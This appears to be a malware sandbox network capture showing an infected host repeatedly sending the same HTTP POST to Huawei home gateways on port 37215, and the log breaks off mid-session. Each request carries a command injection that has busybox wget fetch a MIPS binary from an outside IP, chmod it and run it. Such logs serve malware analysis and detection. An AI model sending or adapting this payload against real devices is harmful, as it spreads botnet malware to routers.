Dec 4, 2024 20:34:35.913851023 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	36678	197.253.184.23	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.914558887 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	53640	156.239.60.195	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.915189028 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	51686	197.188.41.180	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.915817976 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	45612	41.167.243.102	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.916455984 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	35092	156.12.171.46	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.917011976 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	48222	156.77.41.255	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.924422026 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	60804	156.115.90.119	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:35.931961060 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	48796	41.238.60.31	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.170516968 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	39634	41.12.47.3	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.171123981 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	49672	156.22.59.142	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.171694040 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 